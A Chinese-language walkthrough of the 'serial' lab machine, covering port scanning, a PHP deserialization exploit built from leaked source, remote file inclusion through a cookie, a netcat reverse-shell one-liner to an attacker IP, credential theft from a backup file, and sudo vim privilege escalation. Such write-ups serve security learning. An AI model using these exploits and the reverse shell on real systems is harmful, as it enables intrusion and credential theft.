【反序列化漏洞】serial靶机详解
一、安装靶机
首先创建新的虚拟机。


然后选择客户机版本为Ubuntu 64位。

然后选择使用现有磁盘,选择下载的vmdk磁盘文件即可。剩下的都是默认

二、信息收集
发现主机192.168.204.143

访问

扫描端口nmap -A 192.168.204.143 -p-,发现只有ssh:22和http:80服务的端口

扫描目录

Index.php我们已经访问过了,所以我们访问另一个

点击bak.zip给我下载到了本地打开发现三个php文件,解压打开

打开文件,发现unserialize()反序列函数,通过代码审计发现有用户传入的参数,有可能是php反序列化漏洞

三、漏洞利用
对index页面抓包

将cookiebase64解密之后,确实是序列化

之后便是分析php文件,找pop链(感觉代码放这里看不明显,直接上截图)
cookie有值就直接反序列化,这里包含了uesr.class.php文件,去看一下

uesr.class.php文件

log.class.php

构造exp,记住所有变量前用public修饰
<?phpclass Log {public $type_log = "/etc/passwd ";}class User {public $name;public $wel;function __construct($name) {$this->name = $name;$this->wel = new Log();}}$us = new User("sk4");print_r(serialize($us));?>
得到 O:4:"User":2:{s:4:"name";s:3:"sk4";s:3:"wel";O:3:"Log":1:{s:8:"type_log";s:11:"/etc/passwd";}}之后去base64编码之后,赋值给cookie,成功执行


四、获取shell
因为这样执行命令不太方便,我们可以换一种方式,在本地打开web服务,写个命令执行代码,写到www文件夹里的3.php里面(访问该文件:http://192.168.3.46/3.php
),尝试看能不能远程包含

修改type_log的值,将运行的结果base64编码,改cookie,成功访问,证明可以远程包含



发现一直报错显示无法执行空逗号,我那时候还在疑惑为什么不行,试了很久发现是包含文件是php形式的错,包含的文件会先自己进行解析(这里是test.php,会先按php进行解析),解析之后的内容再到包含文件的地方,按它那里的格式进行解析(这里是php文件,按php解析),因此这里test.php先解析的时候,$_GET['x']没有值,因此报错,而按txt解析的时候不会报这个错误,因为被当做字符串


将test.php换为test.txt,之后重新序列化,编码,写入cookie,参数,发现成功执行

添加反弹shell:
rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.204.136+4444+>/tmp/f
,没有回应,但反弹shell成功


五、提权
执行whoami,发现是www-data用户,查看根目录下的文件,发现敏感文件credentials.txt.bak,我们查看一下

查看文件获取到一个用户名和密码

我们前面信息收集的时候发现22端口是打开的,我们ssh远程登陆一下,输入靶机的ip,再输入我们刚刚得到用户名和密码,登陆


尝试提权,试试sudo vim,进入到命令模式输入!bash

提权成功

相关文章:
【反序列化漏洞】serial靶机详解
一、安装靶机 首先创建新的虚拟机。 然后选择客户机版本为Ubuntu 64位。 然后选择使用现有磁盘,选择下载的vmdk磁盘文件即可。剩下的都是默认 二、信息收集 发现主机192.168.204.143 访问 扫描端口nmap -A 192.168.204.143 -p-,发现只有ssh:22和http:8…...
C#列表按照日期进行从大到小排序
C#列表按照日期进行从大到小排序...
rt-thread每个线程状态切换方法
线程状态 RT-Thread 中线程的状态定义在 rt_thread.h 头文件中,通常包括以下几种状态: RT_THREAD_INIT:线程初始化状态。RT_THREAD_READY:线程就绪状态。RT_THREAD_SUSPEND:线程挂起状态。RT_THREAD_RUNNING…...
visual studio跳转到上一个/下一个光标处的快捷键设置
vscode能通过Alt左右箭头跳转到上/下一个光标处,这对于“点进函数看源码,看完后跳转到原来位置”是非常方便的。 在Visual Studio中,有2种方法实现这样的功能。 第一种,直接点击这两个按钮:(缺点是每次要用…...
网络基础命令配置复习 (基础华为设备)
目录 一.前言 二.Telnet远程登陆 2.1telnet介绍 2.2telnet的配置 三.交换机基础配置 四.致谢 一.前言 网络基础不仅是IT从业者的必备知识,也是日常生活中使用网络的人们应该了解的内容。通过学习和掌握这些基础知识,你将能更好地理解和利用现…...
在AspNetCoreRateLimit中,ClientRateLimiting 和 IpRateLimiting 都有的时候按谁的来
在AspNetCoreRateLimit中,当同时配置了ClientRateLimiting(基于客户端ID的速率限制)和IpRateLimiting(基于IP地址的速率限制)时,它们的应用方式主要取决于请求的特性和配置的设置。以下是对这两种速率限制方…...
PEP 8 – Python 代码风格指南中文版(五)
强制性:命名约定 应避免的命名 永远不要使用字符‘l’(小写字母el)、‘O’(大写字母oh)或‘I’(大写字母eye)作为单字符变量名。在某些字体中,这些字符与数字1和0难以区分。当想使…...
Spring中是如何实现IoC和DI的?
前言:在前一篇文章中对于IoC的核心思想进行了讲解,而本篇文章则从Spring的角度入手,体会Spring对于IoC是如何实现的。 如果对IoC还有不太了解的可以阅读上一篇文章,相信一定会带来全新的收获:什么是IoC(控制…...
Excel第33享:借助易用宝将多个表格合并到一个表格
1、需求描述 现有3个销售数据的Excel表格,希望将其整合到一个表格里,如下图所示。 2、具体操作 (1)下载一个插件“易用宝”。 下载地址:最新版下载 | Excel易用宝 如果本地址失效,可以直接百度搜索“易…...
opencascade AIS_TrihedronOwner源码学习对象的实体所有者用于选择管理
opencascade AIS_TrihedronOwner 前言 AIS_Trihedron对象的实体所有者用于选择管理。 在OpenCascade的AIS(交互对象框架)中,管理类似AIS_Trihedron的对象的选择涉及理解如何处理实体(或所有者)以进行选择。 方法 1…...
面试经典算法150题系列-跳跃游戏||
跳跃游戏|| 给定一个长度为 n 的 0 索引整数数组 nums。初始位置为 nums[0]。 每个元素 nums[i] 表示从索引 i 向前跳转的最大长度。换句话说,如果你在 nums[i] 处,你可以跳转到任意 nums[i j] 处: 0 < j < nums[i] i j < n 返回到达 num…...
uniapp h5支付(支付宝和微信支付)
支付宝和微信支付 支付宝 创建一个页面,复制下面即可 <template><view><div class"body" v-html"formUrl"></div></view> </template><script>export default {data() {return {formUrl: // 用于…...
Radamsa:一款高性能通用模糊测试工具
关于Radamsa Radamsa是一款高性能的通用模糊测试工具,广大研究人员可以将其当作一个应用程序稳定性测试的测试用例生成工具。 工具运行机制 该工具使用简单,支持自定义脚本开发,可以用于测试程序对格式错误和潜在恶意输入的承受能力。它的工…...
css中使用data中的变量
一、定义变量 data() {return {myColor:"#2a9efb",}; },二、在templete中激活 说明:这里其实类似于设置 document.documentElement.style.setProperty(--myColor, myColor),而我们现在只是给div设置了变量属性,并且是在当前页面设置的&#x…...
Java 设计模式之策略模式 (Strategy Pattern) 详解
Java 设计模式之策略模式 (Strategy Pattern) 详解 策略模式(Strategy Pattern)是一种行为型设计模式,旨在定义一系列算法,将每个算法封装起来,并使它们可以互相替换,从而使得算法的变化不会影响使用算法的…...
习题20240803(未完成)
文章目录 一、Linq练习 使用Linq完成下面练习1.题目: 返回 numbers 列表中的所有数字。2.题目: 返回 numbers 列表中的所有偶数。3.题目: 返回 numbers 列表中所有大于10的数字。4.题目: 返回 students 列表中所有学生的姓名。5.题目: 返回 numbers 列表按升序排序后的数字。6.…...
C语言程序设计25
《C程序设计教程(第四版)——谭浩强》 习题2.2 分析下面程序的运行结果,然后上机验证。 代码: //《C程序设计教程(第四版)——谭浩强》 //习题2.2 分析下面程序的运行结果,然后上机验证。#inc…...
TypeScript 基础类型与类型声明
前言 在 JavaScript 中,变量是没有类型的,变量的值的类型是在运行时确定的,这被称为动态类型。 这意味着可以在不同的时间将不同类型的值赋给同一个变量,并且 JavaScript 会在运行时根据当前赋给变量的值来确定其类型。 示例&…...
算法:BFS 解决多源最短路问题
目录 多源最短路 题目一:矩阵 题目二:飞地的数量 题目三:地图中的最高点 题目四:地图分析 多源最短路 首先想要知道多源最短路,就先要明白单源最短路,bfs解决单源最短路问题前面学习过,单…...
grep工具的使用
grep [options]…… pattern [file]…… 工作方式: grep 在一个或者多个文件中搜索字符串模板,如果模板中包括空格,需要使用引号引起来,模 板后的所有字符串会被看作是文件名。 工作结果:如果模板搜索成功…...
深入浅出:JavaScript 中的 `window.crypto.getRandomValues()` 方法
深入浅出:JavaScript 中的 window.crypto.getRandomValues() 方法 在现代 Web 开发中,随机数的生成看似简单,却隐藏着许多玄机。无论是生成密码、加密密钥,还是创建安全令牌,随机数的质量直接关系到系统的安全性。Jav…...
linux arm系统烧录
1、打开瑞芯微程序 2、按住linux arm 的 recover按键 插入电源 3、当瑞芯微检测到有设备 4、松开recover按键 5、选择升级固件 6、点击固件选择本地刷机的linux arm 镜像 7、点击升级 (忘了有没有这步了 估计有) 刷机程序 和 镜像 就不提供了。要刷的时…...
【项目实战】通过多模态+LangGraph实现PPT生成助手
PPT自动生成系统 基于LangGraph的PPT自动生成系统,可以将Markdown文档自动转换为PPT演示文稿。 功能特点 Markdown解析:自动解析Markdown文档结构PPT模板分析:分析PPT模板的布局和风格智能布局决策:匹配内容与合适的PPT布局自动…...
04-初识css
一、css样式引入 1.1.内部样式 <div style"width: 100px;"></div>1.2.外部样式 1.2.1.外部样式1 <style>.aa {width: 100px;} </style> <div class"aa"></div>1.2.2.外部样式2 <!-- rel内表面引入的是style样…...
GitHub 趋势日报 (2025年06月08日)
📊 由 TrendForge 系统生成 | 🌐 https://trendforge.devlive.org/ 🌐 本日报中的项目描述已自动翻译为中文 📈 今日获星趋势图 今日获星趋势图 884 cognee 566 dify 414 HumanSystemOptimization 414 omni-tools 321 note-gen …...
Spring AI 入门:Java 开发者的生成式 AI 实践之路
一、Spring AI 简介 在人工智能技术快速迭代的今天,Spring AI 作为 Spring 生态系统的新生力量,正在成为 Java 开发者拥抱生成式 AI 的最佳选择。该框架通过模块化设计实现了与主流 AI 服务(如 OpenAI、Anthropic)的无缝对接&…...
优选算法第十二讲:队列 + 宽搜 优先级队列
优选算法第十二讲:队列 宽搜 && 优先级队列 1.N叉树的层序遍历2.二叉树的锯齿型层序遍历3.二叉树最大宽度4.在每个树行中找最大值5.优先级队列 -- 最后一块石头的重量6.数据流中的第K大元素7.前K个高频单词8.数据流的中位数 1.N叉树的层序遍历 2.二叉树的锯…...
USB Over IP专用硬件的5个特点
USB over IP技术通过将USB协议数据封装在标准TCP/IP网络数据包中,从根本上改变了USB连接。这允许客户端通过局域网或广域网远程访问和控制物理连接到服务器的USB设备(如专用硬件设备),从而消除了直接物理连接的需要。USB over IP的…...
网站指纹识别
网站指纹识别 网站的最基本组成:服务器(操作系统)、中间件(web容器)、脚本语言、数据厍 为什么要了解这些?举个例子:发现了一个文件读取漏洞,我们需要读/etc/passwd,如…...
C++:多态机制详解
目录 一. 多态的概念 1.静态多态(编译时多态) 二.动态多态的定义及实现 1.多态的构成条件 2.虚函数 3.虚函数的重写/覆盖 4.虚函数重写的一些其他问题 1).协变 2).析构函数的重写 5.override 和 final关键字 1&#…...
